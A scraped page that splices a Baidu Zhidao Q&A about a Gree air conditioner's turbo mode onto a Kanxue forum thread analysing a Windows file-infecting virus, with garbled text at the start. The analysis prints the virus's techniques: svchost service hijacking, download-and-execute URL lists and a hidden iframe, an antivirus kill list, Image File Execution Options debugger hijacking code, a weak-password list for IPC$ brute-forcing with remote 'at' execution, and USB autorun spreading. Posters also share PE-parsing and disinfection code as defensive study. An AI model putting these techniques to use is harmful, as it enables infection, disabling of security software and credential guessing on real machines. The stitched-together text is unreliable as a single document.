你好 请问一下下L,hResInfo),

请问一下格力KF-72LW/E1(-N1 超强功能 会增加耗电吗 谢谢_百度知道
请问一下格力KF-72LW/E1(-N1 超强功能 会增加耗电吗 谢谢
提问者采纳
耗电多少与功率的大小有关,电气设备都是这样的。所谓超强功能是空调自身设计的一种功能,开机时功率相对比较大,在相对比较短的时间内达到制冷目的,这不叫增加耗电。这种功能常用于变频技术。
开机初期压机大功率输出,接近设定温度后,功率逐渐变小直到停机,以达到节电目的
其他类似问题
按默认排序
其他4条回答
肯定会增加耗电,不过这个时间也不需要多久,多耗不了你多少电,你等稳定控制下来了,在换正常模式就可以了。更多的相关问题你可以到大优家电商场的家电论坛去看看,希望对你有用!
不会,放心使用。超强功能实质指的是制冷和制热效率特别快,你冷到受得了就行了。
KF-72LW/E1(-N1是 变频王者至尊款的,不会增加耗电
会的,风速月大压缩机转的越快,反之耗电就越多
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁病毒相关 【原创】魔高一尺道高一丈 [文字模式]
- 看雪安全论坛
查看完整版本 : 病毒相关
elianmeng我比较喜欢黑防的标语:在攻与防的统一对立中寻找突破
病毒样本来源与52破解
详细请看idb啊 我也不知道粗略怎么写 就按照我的想法写吧
病毒功能概要:
1. 服务感染
2. 释放驱动
局域网感染
1. 1.exe 是感染的文件
2. tem81.exe 是被感染文件释放的文件
3. 6to4.dll 是释放到服务里面的dll文件
具体分析:
首先从一个感染的文件开始分析起,被感染的文件首先会释放一个文件
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\tem81.exe,接着再CreateProcess
,接着再跳到源程序的oep处。
我们就直接看tem81.exe 吧
Tem81.exe 首先判断程序是否已经运行 采用
CreateEventA(0, 1, 0, &4F9E860C-9BE9-474b-8FD1-F0EEDB20C77B&);
如果创建失败,判断一下是否是 错误是否是ERROR_ALREADY_EXISTS
就创建一个批处理 删除是否的文件
否则开始服务感染
1. 服务感染
读取所有服务名称
RegOpenKeyExA(HKEY_LOCAL_MACHINE, &SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost&, 0, 1u, &hKey);
再用这些服务开始创建服务
hSCObject = CreateServiceA(
hSCManager,
lpDisplayName,
lpDisplayName,
&%SystemRoot%\\System32\\svchost.exe -k netsvcs&,
如果创建成功 就开始
再system32和dllcache 目录创建一个服务显示名.Dll 当然dll内容是 自己资源
hResInfo = FindResourceW(0, (LPCWSTR)0x66, L&FILE&);
hResData = LoadResource(0, hResInfo);
v6 = LockResource(hResData);
如果资源释放成功 就开始SYSTEM\\CurrentControlSet\\Services\\服务显示名\\ Parameters 下创建一个ServiceDll 并且写上刚才释放的system32下的dll名称
再启动服务
如果服务启动成功 ,再产生一个批处理给自己拷贝到system32\\\\dllcache\\systembox.bak 这里
如果失败 就遍历所有的服务名
如果所有服务名全部失败 那么他自己还有一个服务列表
off_403000
dd offset aW DATA XREF: start+355 r
&WmdmPmSN&
dd offset aA &AppMgmt&
dd offset aN &Ntmssvc&
UPX0:0040300C
dd offset aR &Rasauto&
dd offset aB &BITS&
dd offset aB &Browser&
dd offset aE &ERSvc&
判断一下服务是否停止,如果是停止 那么就就在system和dllcache里释放一个dll文件
并且启动它
再产生一个批处理给自己拷贝到system32\\\\dllcache\\systembox.bak 这里
现在来看看他产生的dll的主要功能分析
Dllmain首先会创建一个线程
这个线程首先判断一下是否其他dll执行过 如果执行过 就退出
dword_ = (int)CreateEventA(0, 1, 0, &4F9E860C-9BE9-474b-8FD1-F0EEDB20C77B&);
if ( !dword_ || GetLastError() == ERROR_ALREADY_EXISTS )
ExitThread(0);
接着 自己资源解密 ,就是一些字符串 加密 并且变成自己要使用的格式
接着开始创建线程
线程1. CountNum 目的:病毒作者为了统计有多少人中毒
/ /msn/mm.htm
线程2:DownLoadVirtusProc:根据url开始下载病毒 并且执行
在临时目录下创建一个TempLocal.txt文件
/msn/mm.txt
/msn/query.exe|C:\bs3ol8kd1.exe!
/msn/query.exe|C:\bs3ol8kd2.exe!
/msn/myass.exe|C:\bs3ol8kd3.exe!
/msn/short.exe|C:\bs3ol8kd4.exe!
WEBTEXT:&iframe src=http://www.3-0b6f-415d-:888/tj.htm width=0 height=0&&/iframe&
开始下载执行
线程3:ReleaseSys
Createfile \\\\.\\NtBox看看驱动是否存在,如果不存在就创建一个
从自己资源65号中释放一个WmiSvc.sy 驱动
接着EnumSSDT 传给驱动 当然默认这个开关时关闭的
定义了很多黑名单
a360hotfix_exe3 db '360hotfix.exe|360rpt.exe|360safe.exe|360safebox.exe|360tray.exe|a'
DATA XREF: DecryptResource:loc_ o
TerminatBlackList+6 o ...
db 'gentsvr.exe|apvxdwin.exe|ast.exe|avcenter.exe|avengine.exe|avgnt.'
db 'exe|avguard.exe|avltmain.exe|avp32.exe|avtask.exe|bdagent.exe|bdw'
db 'izreg.exe|boxmod.exe|ccapp.exe|ccenter.exe|ccevtmgr.exe|ccregvfy.'
db 'exe|ccsetmgr.exe|cqw32.exe|DrvAnti.exe|egui.exe|ekrn.exe|enc98.EX'
db 'E|extdb.exe|frameworkservice.exe|frwstub.exe|guardfield.exe|iparm'
db 'or.exe|kaccore.exe|kasmain.exe|kav32.exe|kavstart.exe|kavsvc.exe|'
db 'kavsvcui.exe|kislnchr.exe|kissvc.exe|kmailmon.exe|knownsvr.exe|kp'
db 'fw32.exe|kpfwsvc.exe|kregex.exe|kvfw.exe|kvmonxp.exe|kvmonxp.kxp|'
db 'kvol.exe|kvprescan.exe|kvsrvxp.exe|kvwsc.exe|kvxp.kxp|kwatch.exe|'
db 'livesrv.exe|mcagent.exe|mcdash.exe|mcdetect.exe|mcshield.exe|mcts'
db 'kshd.exe|mcvsescn.exe|mcvsshld.exe|mghtml.exe|naprdmgr.exe|navaps'
db 'vc.exe|navapw32.exe|navw32.exe|nmain.exe|nod32.exe|nod32krn.exe|n'
db 'od32kui.exe|npfmntor.exe|oasclnt.exe|pavsrv51.exe|pfw.exe|psctrls'
db '.exe|psimreal.exe|psimsvc.exe|qqdoctormain.exe|ras.exe|ravmon.exe'
db '|ravmond.exe|ravstub.exe|ravtask.exe|rfwcfg.exe|rfwmain.exe|rfwpr'
db 'oxy.exe|rfwsrv.exe|rsagent.exe|rsmain.exe|rsnetsvr.exe|rssafety.e'
db 'xe|rstray.exe|safebank.exe|safeboxtray.exe|scan32.exe|scanfrm.exe'
db '|sched.exe|seccenter.exe|secnotifier.exe|SetupLD.exe|shstat.exe|s'
db 'martup.exe|sndsrvc.exe|spbbcsvc.exe|symlcsvc.exe|tbmon.exe|uihost'
db '.exe|ulibcfg.exe|updaterui.exe|uplive.exe|vcr32.exe|vcrmon.exe|vp'
db 'tray.exe|vsserv.exe|vstskmgr.exe|vstskmgr.exe|webproxy.exe|xcomms'
db 'vr.exe|xnlscn.exe|修复工具.',0
神奇的是 他过滤了avp.exe这个进程
接着获取那些列表的pid 如果获取到就传给驱动
看一下线程4 selfProtect
首先获取自己dll明显 和定义的dll名是否符合
; LPCSTR DllList
.data:1000802C DllList
dd offset aAppmgmts_ DATA XREF: selfProtect+B0 r
.data:1000802C
&appmgmts.dll&
dd offset aNtmssvc_ &ntmssvc.dll&
dd offset aRasauto_ &rasauto.dll&
dd offset aQmgr_ &qmgr.dll&
.data:1000803C
dd offset aMspmsnsv_ &MsPMSNSv.dll&
dd offset aBrowser_ &browser.dll&
dd offset aErsvc_ &ersvc.dll&
如果符合 就修改自己的注册表自己服务的为自动启动
接着修改注册表&MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options&的权限
为Everyone
a360hotfix_exe3 db '360hotfix.exe|360rpt.exe|360safe.exe|360safebox.exe|360tray.exe|a'
DATA XREF: DecryptResource:loc_ o
TerminatBlackList+6 o ...
db 'gentsvr.exe|apvxdwin.exe|ast.exe|avcenter.exe|avengine.exe|avgnt.'
db 'exe|avguard.exe|avltmain.exe|avp32.exe|avtask.exe|bdagent.exe|bdw'
db 'izreg.exe|boxmod.exe|ccapp.exe|ccenter.exe|ccevtmgr.exe|ccregvfy.'
db 'exe|ccsetmgr.exe|cqw32.exe|DrvAnti.exe|egui.exe|ekrn.exe|enc98.EX'
db 'E|extdb.exe|frameworkservice.exe|frwstub.exe|guardfield.exe|iparm'
db 'or.exe|kaccore.exe|kasmain.exe|kav32.exe|kavstart.exe|kavsvc.exe|'
db 'kavsvcui.exe|kislnchr.exe|kissvc.exe|kmailmon.exe|knownsvr.exe|kp'
db 'fw32.exe|kpfwsvc.exe|kregex.exe|kvfw.exe|kvmonxp.exe|kvmonxp.kxp|'
db 'kvol.exe|kvprescan.exe|kvsrvxp.exe|kvwsc.exe|kvxp.kxp|kwatch.exe|'
db 'livesrv.exe|mcagent.exe|mcdash.exe|mcdetect.exe|mcshield.exe|mcts'
db 'kshd.exe|mcvsescn.exe|mcvsshld.exe|mghtml.exe|naprdmgr.exe|navaps'
db 'vc.exe|navapw32.exe|navw32.exe|nmain.exe|nod32.exe|nod32krn.exe|n'
db 'od32kui.exe|npfmntor.exe|oasclnt.exe|pavsrv51.exe|pfw.exe|psctrls'
db '.exe|psimreal.exe|psimsvc.exe|qqdoctormain.exe|ras.exe|ravmon.exe'
db '|ravmond.exe|ravstub.exe|ravtask.exe|rfwcfg.exe|rfwmain.exe|rfwpr'
db 'oxy.exe|rfwsrv.exe|rsagent.exe|rsmain.exe|rsnetsvr.exe|rssafety.e'
db 'xe|rstray.exe|safebank.exe|safeboxtray.exe|scan32.exe|scanfrm.exe'
db '|sched.exe|seccenter.exe|secnotifier.exe|SetupLD.exe|shstat.exe|s'
db 'martup.exe|sndsrvc.exe|spbbcsvc.exe|symlcsvc.exe|tbmon.exe|uihost'
db '.exe|ulibcfg.exe|updaterui.exe|uplive.exe|vcr32.exe|vcrmon.exe|vp'
db 'tray.exe|vsserv.exe|vstskmgr.exe|vstskmgr.exe|webproxy.exe|xcomms'
db 'vr.exe|xnlscn.exe|修复工具.',0
给这些黑名单在注册表中添加Debugger=ntsd –d
上面线程执行完成 后 往
\\drivers\\etc\\hosts 里面写一条记录127.0.0.1
localhost\r\n
再判断一下系统目录下\\dllcache\\systembox.bak这个文件是否存在
就进行下面操作
首先MapViewOfFile一下自己
开始创建线程1:ExeInject exe文件注入
只要不是a盘和b盘并且不是光驱,就开始遍历文件
注意余下文件夹不感染
10008FB8 DirPath
dd offset aW DATA XREF: IsWindowsDir+8E r
.data:10008FB8
.data:10008FBC
dd offset aW &WinNT&
.data:10008FC0
dd offset aDocumentsAndS &Documents and Settings&
.data:10008FC4
dd offset aSystemVolumeI &System Volume Information&
.data:10008FC8
dd offset aR &RECYCLER&
.data:10008FCC
dd offset aCommonF &Common Files&
.data:10008FD0
dd offset aComplusA &ComPlus Applications&
.data:10008FD4
dd offset aInstallshieldI ; &InstallShield Installation Information&
.data:10008FD8
dd offset aInternetE &Internet Explorer&
.data:10008FDC
dd offset aM &Messenger&
.data:10008FE0
dd offset aMicrosoftF &microsoft frontpage&
.data:10008FE4
dd offset aMovieM &Movie Maker&
.data:10008FE8
dd offset aMsnGamingZ &MSN Gaming Zone&
.data:10008FEC
dd offset aN &NetMeeting&
.data:10008FF0
dd offset aOutlookE &Outlook Express&
.data:10008FF4
dd offset aWindowsMediaP &Windows Media Player&
.data:10008FF8
dd offset aWindowsN &Windows NT&
.data:10008FFC
dd offset aW &WindowsUpdate&
dd offset aW &WinRAR&
通过后缀 如果是exe 就进行exe文件感染
感染exe肯定要判断自己是否已经是感染的 他的判断条件是 节名.. 并且NumberOfLinenumbers 是0x67
就说明已经感染
如果不是 就首先要判断其中是否签名了 ,如果已经签名了 就不感染
这里 很搞笑 程序作者在添加节的时候 节名是8个字节 后4个自己是感染前的rva 所以 如果要还原可以直接从这里修改
如果是if ( !lstrcmpiA(pFileExt, &htm&)
|| !lstrcmpiA(pFileExt, &html&)
|| !lstrcmpiA(pFileExt, &asp&)
|| !lstrcmpiA(pFileExt, &aspx&) )
就进行网页感染
Index,Default 感染网页的名称必须是 这二种 否则不感染
如果是rar 就进行解压缩 再判断文件类型 再感染
线程2:InjectNet 局域网感染
这里分了二种 一种是 通过共享 传播的 一种是通过ipc$感染的
先看第一种
通过构造SendICMP 包 来判断机器是否在线
aNAdministrator db 'n,Administrator,Guest,admin,Root,',0
DATA XREF: DecryptResource:loc_ o
LanInject+2CA o
.data:1000853A
.data: aN1234Password6 db 'n,1234,password,6969,harley,123456,golf,pussy,mustang,1111,shadow'
DATA XREF: DecryptResource:loc_1000382E o
LanInject:loc_ o
db ',1313,fish,,qwerty,baseball,2112,letmein,45,'
db 'ccc,admin,5201314,qq520,1,12,123,321,54321,1'
db '11,000000,abc,pw,88888,pass,passwd,database,abcd,abc1'
db '23,pass,sybase,123qwe,server,computer,520,super,123asd,0,ihavenop'
db 'ass,godblessyou,enable,xp,00,alpha,110,212,'
db '4qwer,123abc,007,a,aaa,patrick,pat,administrator,root,s'
db 'ex,god,fuckyou,fuck,abc,test,test123,temp,temp123,win,pc,asdf,pwd'
db ',qwer,yxcv,zxcv,home,xxx,owner,login,Login,pw123,love,mypc,mypc12'
db '3,admin123,mypass,mypass123,901100,',0
通过上面的暴力来进行ipc连接
\\\\%s\\C$\\bootfont.exe 给备份的back那个exe拷贝过去 并且
&at \\\\%s %d:%d C:\\bootfont.exe&执行以下
看看第二种感染
Enumerate WnetOpenEnumA 得到局域网内资源 在得到RESOURCEUSAGE_CONNECTABLE类型资源
首先创建一个文件测试以下 如果可以
就开始遍历文件
进行上面的文件感染功能
线程3:u盘感染
GetDriveTypeA来判断盘的类型如果是DRIVE_REMOVABLE 就进行
wsprintfA(
&[autorun]\r\nOPEN=%s\\%s\r\nshell\\open=,
&recycle.{645FF040-F08-00AA002F954E}&,
&Ghost.exe&,
&recycle.{645FF040-F08-00AA002F954E}&,
&Ghost.exe&,
&recycle.{645FF040-F08-00AA002F954E}&,
&Ghost.exe&,
创建inf文件 并且给back那个备份文件拷贝成ghost。Exe进去
还有一个搞笑的文件 上面创建一个线程 检查临时文件夹里面是否有Newtemp_387.exe 这个文件 如果有 就执行这个文件 并且 结束自己的所有线程 dll直接freelibary了
简单的分析了一下
具体请看idb
elianmeng一半人对于文件感染都会用这样的代码
// PeFile.cpp: implementation of the CPeFile class.
//////////////////////////////////////////////////////////////////////
//#include &stdafx.h&
#include &PeFile.h&
#include &wtypes.h&
#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CPeFile::CPeFile()
m_bPeFile=
CPeFile::~CPeFile()
if (m_pImageBase)
delete m_pImageB
CPeFile::CPeFile(LPCTSTR lpszPeFile)
m_bPeFile=
IMAGE_DOS_HEADER DosH
IMAGE_NT_HEADERS NtH
HANDLE hFile=CreateFile(lpszPeFile,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
if (hFile != INVALID_HANDLE_VALUE)
ReadFile(hFile,(LPVOID)&DosHeader,sizeof(DosHeader),&n,NULL);
SetFilePointer(hFile,DosHeader.e_lfanew,NULL,FILE_BEGIN);
ReadFile(hFile,(LPVOID)&NtHeader,sizeof(NtHeader),&n,NULL);
if(NtHeader.Signature == 0x4550 && DosHeader.e_magic == 0x5A4D)
m_bPeFile=
m_FileAlign=NtHeader.OptionalHeader.FileA
m_SecAlign=NtHeader.OptionalHeader.SectionA
if (m_bPeFile)
m_pImageBase= malloc(NtHeader.OptionalHeader.SizeOfImage);
if (m_pImageBase)
memset(m_pImageBase,0,NtHeader.OptionalHeader.SizeOfImage);
SetFilePointer(hFile,0,NULL,FILE_BEGIN);
//读取Pe头到内存
ReadFile(hFile,m_pImageBase,NtHeader.OptionalHeader.SizeOfHeaders,&n,NULL);
m_pDosHeader=(PIMAGE_DOS_HEADER)m_pImageB
m_pNtHeader=(PIMAGE_NT_HEADERS)((PCHAR)m_pImageBase+m_pDosHeader-&e_lfanew);
//定位第一个节表位置
m_pFirstSec=(PIMAGE_SECTION_HEADER)((char*)m_pImageBase+DosHeader.e_lfanew+sizeof(NtHeader.FileHeader)+sizeof(NtHeader.Signature)
+NtHeader.FileHeader.SizeOfOptionalHeader);
//循环读取各个节到内存
PIMAGE_SECTION_HEADER pSec=m_pFirstS
for (int i=0,m_nSecCount=NtHeader.FileHeader.NumberOfSi&m_nSecCi++,pSec++)
SetFilePointer(hFile,pSec-&PointerToRawData,NULL,FILE_BEGIN);
ReadFile(hFile,(PVOID)((char*)m_pImageBase+pSec-&VirtualAddress),pSec-&SizeOfRawData,&n,NULL);
CloseHandle(hFile);
BOOL CPeFile::IsPeFile()
return m_bPeF
UINT CPeFile::WriteToPe(LPTSTR lpszPeFile,int nSize)
UINT dwWriteSize=0;
DWORD dwSectionSize=0;
DWORD dwPeSize=0;
HANDLE hFile=CreateFile(lpszPeFile,GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if (hFile != INVALID_HANDLE_VALUE)
//首先Pe头
dwPeSize=m_pNtHeader-&OptionalHeader.SizeOfH
WriteFile(hFile,m_pImageBase,dwPeSize,(unsigned long *)&dwWriteSize,NULL);
//开始写节
PIMAGE_SECTION_HEADER pTemp=m_pFirstS
for (int n=0;n & m_pNtHeader-&FileHeader.NumberOfS n++)
dwSectionSize=AlignSize(pTemp-&SizeOfRawData,m_pNtHeader-&OptionalHeader.FileAlignment);
WriteFile(hFile,(char *)m_pImageBase+pTemp-&VirtualAddress,dwSectionSize,(unsigned long *)&dwWriteSize,NULL);
CloseHandle(hFile);
return dwWriteS
UINT CPeFile::AlignSize(UINT nSize,UINT nAlign)
int n= nSize / nA
if (nSize % nAlign)
return n*nA
PIMAGE_SECTION_HEADER CPeFile::GetCurrrentRvaSecHeader(PVOID pAddr)
PIMAGE_SECTION_HEADER pSelSec=NULL;
if ((UINT)pAddr & 0
&& (UINT)pAddr &= m_pNtHeader-&OptionalHeader.SizeOfImage)
PIMAGE_SECTION_HEADER pCurSec=m_pFirstS
for (int n=0;n&m_pNtHeader-&FileHeader.NumberOfSn++)
if ((UINT)pAddr &= pCurSec-&VirtualAddress &&
(UINT)pAddr &= (pCurSec-&VirtualAddress+pCurSec-&Misc.VirtualSize))
return pCurS
pCurSec ++;
return pSelS
#include&windows.h&
#include &tchar.h&
#include &PeFile.h&
void main()
long dwCode=0;
PCHAR pBuffer=NULL;
CPeFile *pe=new CPeFile(L&c:\\1.exe&);
if (pe-&IsPeFile())
dwCode=*((long *)((PCHAR)pe-&m_pImageBase+pe-&m_pNtHeader-&OptionalHeader.AddressOfEntryPoint+0x183));
pBuffer=((PCHAR)pe-&m_pImageBase+pe-&m_pNtHeader-&OptionalHeader.AddressOfEntryPoint+0x182);
pBuffer=pBuffer+dwCode+5;
pBuffer=pBuffer-(DWORD)pe-&m_pImageB
pe-&m_pNtHeader-&OptionalHeader.AddressOfEntryPoint =(DWORD) pB
//修复节头
//去掉壳的导入表节
pe-&m_pNtHeader-&FileHeader.NumberOfSections --;
PIMAGE_SECTION_HEADER pTemp=pe-&m_pFirstSec+(pe-&m_pNtHeader-&FileHeader.NumberOfSections-1);
//修复SizeOfImage
pe-&m_pNtHeader-&OptionalHeader.SizeOfImage=pe-&AlignSize(pTemp-&VirtualAddress+pTemp-&Misc.VirtualSize,pe-&m_pNtHeader-&OptionalHeader.SectionAlignment);
pe-&WriteToPe(L&c:\\a.exe&,pe-&m_pNtHeader-&OptionalHeader.SizeOfImage);
注意这段代码可能有人会眼熟 但是请注意 最后保存文件的时候我修改了,我是以文件对齐保存的
这个是有区别的
elianmeng如果你分析一个病毒后 用二楼的代码,那说明这个病毒你根本就没有分析清楚
因为他里面就有去掉的部分,并且怎么找原来程序的oep部分
看正确的代码
#include &Windows.h&
#include &Softpub.h&
#include &wincrypt.h&
#include &wintrust.h&
#include &stdio.h&
#pragma comment(lib,&Wintrust.lib&)
LONG __WinVerifyTrust(HWND hwnd, GUID *pgActionID, LPVOID pWVTData)
return WinVerifyTrust(hwnd, pgActionID, pWVTData);
int __stdcall DefWinVerifyTrust(LPWSTR lpszFilePath)
WINTRUST_DATA pWVTD
WINTRUST_FILE_INFO D
GUID pgActionID = WINTRUST_ACTION_GENERIC_VERIFY_V2;
memset(&Dst, 0, 0x10u);
Dst.cbStruct = 16;
Dst.pcwszFilePath = (LPCWSTR)lpszFileP
Dst.hFile = 0;
Dst.pgKnownSubject = 0;
memset(&pWVTData, 0, 0x30u);
pWVTData.cbStruct = 48;
pWVTData.pPolicyCallbackData = 0;
pWVTData.pSIPClientData = 0;
pWVTData.dwUIChoice = 2;
pWVTData.fdwRevocationChecks = 0;
pWVTData.dwUnionChoice = 1;
pWVTData.dwStateAction = 0;
pWVTData.hWVTStateData = 0;
pWVTData.pwszURLReference = 0;
pWVTData.dwProvFlags = 256;
pWVTData.dwUIContext = 0;
pWVTData.pFile =&D
dwRet = __WinVerifyTrust(0, &pgActionID, &pWVTData);
if ( dwRet )
result = 0;
result = 1;
int __stdcall OperFileTime(HANDLE hFile, LPFILETIME lpCreationTime, int Type)
dwRet = 1;
if ( hFile == (HANDLE)-1 )
result = 0;
if ( Type )
if ( Type == 1 )
if ( !SetFileTime(
(const FILETIME *)lpCreationTime,
(const FILETIME *)lpCreationTime + 1,
(const FILETIME *)lpCreationTime + 2) )
dwRet = 0;
result = dwR
result = 1;
memset(lpCreationTime, 0, 0x18u);
if ( !GetFileTime(
(LPFILETIME)lpCreationTime,
(LPFILETIME)lpCreationTime + 1,
(LPFILETIME)lpCreationTime + 2) )
dwRet = 0;
result = dwR
int __stdcall AlignSize(UINT nSize, UINT nAlign)
if ( nSize % nAlign )
nSize = nAlign * (nSize / nAlign + 1);
int InjectSingleExeFile( LPCSTR lpFileName)
LONG result=0;
PIMAGE_SECTION_HEADER pLastSectionH
PIMAGE_NT_HEADERS pNtH
FILETIME CreationTime[3];
PIMAGE_SECTION_HEADER pOverSectionH
IMAGE_SECTION_HEADER AddLastS
int cchWideC
WCHAR wFilePath[MAX_PATH];
DWORD NumberOfBytesW
DWORD dwLowO
HANDLE hFileMappingO
LPSTR lpBaseA
int dwRet=0;
lpBaseAddress = 0;
hFile = INVALID_HANDLE_VALUE;
hFileMappingObject = 0;
dwRet = 0;
memset(wFilePath, 0, 0x208u);
cchWideChar = lstrlenA(lpFileName);
MultiByteToWideChar(0, 0, lpFileName, cchWideChar, (LPWSTR)wFilePath, cchWideChar);
result = DefWinVerifyTrust(wFilePath);
if ( result == 1 )
dwRet = -1;
hFile = CreateFileA(lpFileName, 0xC0000000u, 0, 0, 3u, 0x80u, 0);
if ( hFile ==INVALID_HANDLE_VALUE )
dwRet = -1;
OperFileTime(hFile, CreationTime, 0);
dwLowOrder = SetFilePointer(hFile, 0, 0, FILE_END);
hFileMappingObject = CreateFileMappingA(hFile, 0,PAGE_READWRITE, 0, 0, 0);
if ( hFileMappingObject )
lpBaseAddress =(LPSTR) MapViewOfFile(hFileMappingObject, FILE_MAP_ALL_ACCESS, 0, 0, 0x400u);
if ( lpBaseAddress && ((PIMAGE_DOS_HEADER)lpBaseAddress)-&e_magic== 0x5A4D )
pNtHeader=(PIMAGE_NT_HEADERS)(lpBaseAddress+((PIMAGE_DOS_HEADER)lpBaseAddress)-&e_lfanew);
if ( (LPSTR)pNtHeader & (LPSTR)((char *)lpBaseAddress + dwLowOrder)
&& (LPSTR)pNtHeader & (LPSTR)lpBaseAddress
&&pNtHeader-&Signature == 0x4550 )
pLastSectionHeader =(PIMAGE_SECTION_HEADER)((char *)pNtHeader + sizeof(IMAGE_SECTION_HEADER) * (pNtHeader-&FileHeader.NumberOfSections - 1) + sizeof(IMAGE_NT_HEADERS)) ;
if (pLastSectionHeader-&NumberOfLinenumbers
&& pLastSectionHeader-&NumberOfLinenumbers == 0x67)
pNtHeader-&FileHeader.NumberOfSections--;
if ( pNtHeader-&OptionalHeader.SizeOfCode)
pNtHeader-&OptionalHeader.SizeOfCode -= pLastSectionHeader-&Misc.VirtualS
pNtHeader-&OptionalHeader.AddressOfEntryPoint=*(DWORD *)((char *)pLastSectionHeader + 4);
pNtHeader-&OptionalHeader.SizeOfImage-=pLastSectionHeader-&Misc.VirtualS
FlushViewOfFile(lpBaseAddress, 0x400u);
UnmapViewOfFile(lpBaseAddress);
CloseHandle(hFileMappingObject);
CloseHandle(hFile);
dwRet = 0;
CloseHandle(hFileMappingObject);
CloseHandle(hFile);
return dwR
void main()
InjectSingleExeFile(&D:\\Program Files\\Tencent\\QQ\\Bin\\QQ.exe&);
elianmeng并且打个广告!来年想从事病毒分析工作!希望有类似职位的公司,联系我一下 谢谢
DstlemonerGood luck
my friend ~
孤单的狼:D:坐等加精
Artmiss这个病毒样本以前分析过~
elianmeng这些天接触病毒,让我明白了 这个样本为什么留了那么多全局开关,原来是木马生成器生成的,可以勾选相应的功能。个人感觉当逆向一个东西的时候,当初肯定会有一些疑问,当然等你知识达到一定的积累,或者外界什么因素突然刺激了你的思维 才会慢慢理解了,就像小时候背诵古诗一样,懵懵懂懂,但是只要你坚持背诵下去,随着知识越来越多,你就开始理解前面的内容了。坚持才是一切,大家一起努力吧
xingsy楼主辛苦了
现在我功力还不足以完全理解 希望有一日和楼主一样厉害
tedrick这些天接触病毒,让我明白了 这个样本为什么留了那么多全局开关,原来是木马生成器生成的,可以勾选相应的功能。个人感觉当逆向一个东西的时候,当初肯定会有一些疑问,当然等你知识达到一定的积累,或者外界什么因素突然刺激了你的思维 才会慢慢理解了,就像小时候背诵古诗一样,懵懵懂懂,但是只要你坚持背诵下去,随着...
yep!一万小时定律。O(∩_∩)O~
网络游侠样本看了下,IFEO重定向AV的变种
LSTATUS __stdcall sub_1000459B(LPCSTR lpSubKey)
int v2; // eax@1
LPCSTR lpD // [sp+8h] [bp-4h]@1
DWORD dwD // [sp+0h] [bp-Ch]@1
HKEY hK // [sp+4h] [bp-8h]@1
lpData = &ntsd -d&;
dwDisposition = 0;
RegOpenKeyExA(
HKEY_LOCAL_MACHINE,
&SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options&,
RegCreateKeyExA(hKey, lpSubKey, 0, 0, 0, 0xF003Fu, 0, &hKey, &dwDisposition);
v2 = lstrlenA(lpData);
RegSetValueExA(hKey, &Debugger&, 0, 1u, (const BYTE *)lpData, v2);
return RegCloseKey(hKey);
这样病毒感染的部分没什么特点,LZ可以尝试把完整的样本编译成BIN
chunbeishen似乎见到过
不过貌似很老旧了
kxzjchen楼主牛逼,坚定完毕,膜拜}

我要回帖

更多关于 你好 请问一下 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信